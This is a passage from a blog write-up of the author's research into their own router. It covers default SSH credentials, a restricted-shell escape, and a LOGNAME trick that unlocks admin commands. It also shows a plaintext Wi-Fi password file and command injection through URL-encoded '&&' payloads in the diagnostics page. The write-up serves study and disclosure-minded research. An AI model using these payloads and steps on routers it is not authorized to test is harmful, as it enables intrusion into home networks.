&lt;li&gt;&lt;code&gt;-Pn&lt;&#x2F;code&gt;: No ping. Skips the host discovery stage altogether.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image.png&quot; alt=&quot;Nmap scan results showing open ports on the router&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;When I saw the SSH port, I looked behind the router for any credentials and, fortunately, it had them. I tried logging in with the &quot;admin&quot; username, but it didn&#x27;t work, so I searched for some documentation and discovered the correct username was &quot;support.&quot;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%201.png&quot; alt=&quot;SSH login with support credentials showing restricted shell&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;As shown in the image above, we couldn&#x27;t execute commands or interact with the operating system beyond the initial shell. The goal at this moment was to figure out how to execute commands, as I had no prior experience with hardware hacking and didn&#x27;t want to attempt extracting the firmware without understanding how to do it. After a bit of research, I discovered that you could pass a direct command after the SSH command to escape the &quot;dumb shell&quot;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%202.png&quot; alt=&quot;Escaping the restricted shell by passing commands directly via SSH&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Using the &lt;code&gt;netstat -lpntu&lt;&#x2F;code&gt; command, I checked all running services ports. The idea here is to find some binary or service we can exploit to discover a vulnerability, but we don&#x27;t investigate it too deeply and move on to other enumerations.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-l&lt;&#x2F;code&gt;: Displays only listening sockets;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-p&lt;&#x2F;code&gt;: Displays the process ID (PID) and the program name;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-n&lt;&#x2F;code&gt;: Display addresses and port numbers in their numerical format;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-t&lt;&#x2F;code&gt;: Display active TCP connections;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-u&lt;&#x2F;code&gt;: Display active UDP connections.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%203.png&quot; alt=&quot;netstat output showing router services and open ports&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Through the &lt;code&gt;uname -a&lt;&#x2F;code&gt; command, I identified the version of the running Linux system. As you can see, it&#x27;s a fairly up-to-date kernel, and the environment is somewhat limited, so we also chose not to delve too deeply into its exploitation because, above all, our user is already part of the root group.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Linux (none) 4.4.115 #1 SMP Fri Jul 5 16:58:21 CST 2024 armv7l GNU&#x2F;Linux&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Using the command &lt;code&gt;ps w&lt;&#x2F;code&gt;, I also found a bunch of interesting information. There are several processes using some config files, including some XMLs that contain virtually all the router&#x27;s configurations, but we also didn&#x27;t find anything of significant relevance here.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%204.png&quot; alt=&quot;ps w output showing running processes and config file references&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;After testing the router possibilities, I discovered some issues:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Me and my friends tried different methods to get a reverse shell, but without success.&lt;&#x2F;li&gt;
&lt;li&gt;Some common binaries, like &lt;code&gt;ls&lt;&#x2F;code&gt;, didn&#x27;t work.&lt;&#x2F;li&gt;
&lt;li&gt;The entire router was running on a read-only system, so we couldn&#x27;t create a web shell in the web app&#x27;s directory.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Not having &lt;code&gt;ls&lt;&#x2F;code&gt; wasn&#x27;t a problem because we still had the &lt;code&gt;find&lt;&#x2F;code&gt; binary. So we can use the command &lt;code&gt;file &#x2F;app -type f&lt;&#x2F;code&gt; to list all the files inside the &lt;code&gt;&#x2F;app&lt;&#x2F;code&gt; directory. For example:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%205.png&quot; alt=&quot;Using find to list files in the &#x2F;app directory&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;When I listed the files in the &lt;code&gt;&#x2F;tmp&lt;&#x2F;code&gt; directory, I found a file called &lt;code&gt;dump.txt&lt;&#x2F;code&gt; that caught my attention. Reading this file, I discovered it stored network passwords in plaintext, along with other network configurations, which is indeed quite useful if you want to access the Wi-Fi network without changing it, which I think is the best option. The contents of the file were something like this:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%206.png&quot; alt=&quot;dump.txt showing Wi-Fi passwords in plaintext&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%207.png&quot; alt=&quot;dump.txt additional network configuration entries&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;escalating-from-cmdsh&quot;&gt;Escalating from cmdsh&lt;&#x2F;h2&gt;
&lt;p&gt;Analyzing the processes, I discovered that the initial shell we got when accessing via SSH was called &lt;code&gt;cmdsh&lt;&#x2F;code&gt; and appeared to be a unique binary used to manage the SSH service. I copied the &lt;code&gt;cmdsh&lt;&#x2F;code&gt; binary to my local machine and opened it in Binary Ninja to understand what was happening in the background.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%208.png&quot; alt=&quot;cmdsh binary opened in Binary Ninja for analysis&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We can see that the binary looks for two variables called &lt;code&gt;LOGNAME&lt;&#x2F;code&gt; and &lt;code&gt;LOGFROM&lt;&#x2F;code&gt;. Digging further into the code, we identified the expected values for these variables:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;admin&lt;&#x2F;li&gt;
&lt;li&gt;telefonica&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%209.png&quot; alt=&quot;Binary Ninja showing LOGNAME and LOGFROM variable checks in cmdsh&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The most important part of this code is the lines:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;current_hidden&lt;&#x2F;code&gt; and &lt;code&gt;current_permission&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Why is this interesting? Because we can see the difference in permissions available when logged in with an &lt;code&gt;admin&lt;&#x2F;code&gt; or &lt;code&gt;telefonica&lt;&#x2F;code&gt; profile. So, before running the command &lt;code&gt;&#x2F;bin&#x2F;cmdsh&lt;&#x2F;code&gt;, we specify the values &lt;code&gt;LOGNAME=telefonica&lt;&#x2F;code&gt;, for example, and now some sysadmin commands become available to us =).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2010.png&quot; alt=&quot;Running cmdsh with LOGNAME=telefonica unlocking additional commands&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;attacking-the-web-app&quot;&gt;Attacking the Web App&lt;&#x2F;h2&gt;
&lt;p&gt;I tried extracting the webapp content with &lt;code&gt;cURL&lt;&#x2F;code&gt;, &lt;code&gt;wget&lt;&#x2F;code&gt;, or &lt;code&gt;SCP&lt;&#x2F;code&gt;, but I didn&#x27;t have success with. So, I decided to create a tar file, convert it to base64, and save the output locally. After this, I converted it back into a normal file and successfully retrieved the content. I created the tar file from the directory &lt;code&gt;&#x2F;usr&#x2F;shared&#x2F;web&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2011.png&quot; alt=&quot;Creating tar archive of &#x2F;usr&#x2F;shared&#x2F;web and encoding to base64&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2012.png&quot; alt=&quot;Decoding base64 and extracting the webapp tar archive locally&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In the end, we have a &quot;valid&quot; code that we can open in VSCode to better understand the application&#x27;s structure, but not everything is as smooth as we imagined. This is an issue I didn&#x27;t consider at the time I was exporting it to VSCode. All the files are CGIs.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2013.png&quot; alt=&quot;VSCode showing the extracted webapp files are all CGI binaries&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Of course, we couldn&#x27;t read the CGI files directly because they are compiled C files that is used in the web interface and in other functions. I started exploring the available functions in the web app and found a menu called &lt;code&gt;Tools&lt;&#x2F;code&gt;. Accessing it, we saw options to run commands like &lt;code&gt;ping&lt;&#x2F;code&gt;, &lt;code&gt;traceroute&lt;&#x2F;code&gt;, and &lt;code&gt;nslookup&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2014.png&quot; alt=&quot;Router web app Tools menu showing ping, traceroute, and nslookup options&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This immediately caught my attention. I tried injecting direct commands into it, but there was a JavaScript validation that checked for valid IPs. However, we could bypass this by capturing a valid request in Burp Suite and modifying the IP parameter. Furthermore, there was some form of protection against command injection. By examining the code, we could understand how these functions worked (&lt;code&gt;ping&lt;&#x2F;code&gt;, &lt;code&gt;traceroute&lt;&#x2F;code&gt;, and &lt;code&gt;nslookup&lt;&#x2F;code&gt;) and look for ways to bypass or understand what was happening in the background.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2015.png&quot; alt=&quot;CGI code showing how ping command is constructed from user input&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2016.png&quot; alt=&quot;CGI code showing input concatenation into shell command&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Looking at the final lines of the code, where the &lt;code&gt;nslookup&lt;&#x2F;code&gt;, &lt;code&gt;traceroute&lt;&#x2F;code&gt; and &lt;code&gt;ping&lt;&#x2F;code&gt; binaries runs, we noticed that our input was directly concatenated into the execution and the output was saved to the file &lt;code&gt;&#x2F;tmp&#x2F;ping_result&lt;&#x2F;code&gt;. This confirmed that there was command injection possibility.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2017.png&quot; alt=&quot;CGI source showing direct input concatenation and output saved to &#x2F;tmp&#x2F;ping_result&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Returning to the web app, we kept trying to execute commands without immediate success. After a break, we discovered that the &lt;code&gt;&amp;amp;&lt;&#x2F;code&gt; character wasn&#x27;t blocked. For now, we could encode the &lt;code&gt;&amp;amp;&lt;&#x2F;code&gt; character with URL encoding and attempt to execute commands like this:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;127.0.0.1%26%26id&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2018.png&quot; alt=&quot;Burp Suite request with URL-encoded &amp;amp;&amp;amp; for command injection&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We received a blank response because the output is only saved when you render the another web page. After sending the request, we need to read &lt;code&gt;&#x2F;tmp&#x2F;ping_result&lt;&#x2F;code&gt; file content because is where our command execution output is.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2019.png&quot; alt=&quot;Reading &#x2F;tmp&#x2F;ping_result to get command output&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2020.png&quot; alt=&quot;ping_result file content showing id command output&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Finally, we achieved command execution. The issue here was that it was a blind command execution, since the output was saved in &lt;code&gt;&#x2F;tmp&#x2F;ping_result&lt;&#x2F;code&gt; and we couldn&#x27;t read this file outside SSH. The web app also didn&#x27;t render the command output directly.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2021.png&quot; alt=&quot;Command execution confirmed but output only accessible via SSH&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;If we look at the output of our command now, we&#x27;ll be surprised by something quite unfortunate, but something we managed to solve later, which was rather &quot;funny&quot; given the ideas we came up with during this process.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2022.png&quot; alt=&quot;ping_result showing truncated output due to application filtering&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;escaping-the-blind-command-execution&quot;&gt;Escaping the blind command execution&lt;&#x2F;h2&gt;
&lt;p&gt;Here&#x27;s what we discovered:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;The function that printed the command output removed some lines from the final result, so we couldn&#x27;t see the output without reading &lt;code&gt;&#x2F;tmp&#x2F;ping_result&lt;&#x2F;code&gt; file.&lt;&#x2F;li&gt;
&lt;li&gt;There was a slight delay between command execution and when the output was saved, so we needed to wait about 5 seconds before checking the output.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;To work around this, we needed to concatenate three commands. Why? By using two &lt;code&gt;nslookup&lt;&#x2F;code&gt; commands, we ensured our command&#x27;s output wasn&#x27;t the last line removed by the application.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2023.png&quot; alt=&quot;Three-command chain to bypass output filtering&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;127.0.0.1%26%26uname%20-a%26%26nslookup%20127.0.0.1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2024.png&quot; alt=&quot;uname -a output visible in ping_result surrounded by nslookup output&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now we need to automate the process by developing a functional exploit for this. Looking at the login process, we noticed the parameter &lt;code&gt;loginPassword&lt;&#x2F;code&gt; didn&#x27;t send the password in plaintext. Instead, it sent an MD5 hash of the password. After logging in, a &lt;code&gt;COOKIE_SESSION_KEY&lt;&#x2F;code&gt; was generated, which indicates that our session is valid and we are authenticated in the environment.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2025.png&quot; alt=&quot;Login request showing MD5-hashed password parameter&quot; &#x2F;&gt;
&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2026.png&quot; alt=&quot;Login response setting COOKIE_SESSION_KEY&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Logging in again showed that the &lt;code&gt;loginPassword&lt;&#x2F;code&gt; value was different from the first login. Apparently, there is a function in the system that ensures the password hash doesn&#x27;t repeat, which I believe is meant to prevent brute force attacks and similar methods.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2027.png&quot; alt=&quot;Second login showing different MD5 hash for the same password&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Inspecting the &lt;code&gt;login.cgi&lt;&#x2F;code&gt; HTML source code, we found the JavaScript function that generated the MD5 hash, the function in question is called &quot;checkLogin,&quot; and it seems to mix the SID value, the original password (in plain text), and finally convert everything to MD5.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2028.png&quot; alt=&quot;login.cgi source showing checkLogin function mixing SID with password for MD5&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Refreshing the page showed that the &lt;code&gt;sid&lt;&#x2F;code&gt; value changed each time, this indicates that every time we access the login page, the SID will be changed, something like a dynamic generation, so it&#x27;s not possible to simply convert our password to MD5 and send it directly to the login form.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2029.png&quot; alt=&quot;Login page source showing dynamic sid value that changes on each load&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;To work with this, our Python script needed to capture the &lt;code&gt;var sid&lt;&#x2F;code&gt; value, concatenate it with the password, and generate the MD5 hash. Using BeautifulSoup, we captured the &lt;code&gt;var sid&lt;&#x2F;code&gt; value after the &lt;code&gt;=&lt;&#x2F;code&gt; character with the following code:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2030.png&quot; alt=&quot;Python script using BeautifulSoup to extract the sid value from login page&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This is already enough for us to generate a valid hash when submitting it to the login form after updating the code.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2031.png&quot; alt=&quot;Python script generating valid MD5 hash from sid + password&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Now, with a valid &lt;code&gt;COOKIE_SESSION_KEY&lt;&#x2F;code&gt;, we could perform authenticated actions on the router. The final step was to replicate the process and integrate it into the script. The final result of our script will be an command execution with direct output, which made exploiting the vulnerability ten times better.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;exploring-an-authenticated-rce-in-my-rounter&#x2F;image%2033.png&quot; alt=&quot;Final exploit script achieving authenticated RCE with direct output&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;During this process, my friends and I realized that the most ridiculous ideas can work, like concatenating three commands and hoping for the best xD. But honestly, it&#x27;s interesting how watching an H2HC talk sparked this desire in me to explore something I had such easy access to, and in the end, everything worked out. Obviously, all of this was possible thanks to the help of the other members of Inferi, who were exceptional in helping me brainstorm some ideas.&lt;&#x2F;p&gt;
&lt;p&gt;It&#x27;s funny that I have no experience with reverse engineering, but a little bit of guesswork and determination seems to solve everything. Of course, if I had some experience, it would have helped a lot, but that&#x27;s something for the future.&lt;&#x2F;p&gt;
&lt;p&gt;Thank you for reading this far! I hope you&#x27;ve learned something or at least enjoyed the content. Neither the script nor the vulnerability will be made available since this was just field research. But who knows? Maybe this will turn into a CVE in the future, and we&#x27;ll change our minds about publishing it.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=4_UI9zBLJp0&quot;&gt;youtube.com — Internet of Sh!t - Maycon Vitali - H2HC University 2018&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
</feed>
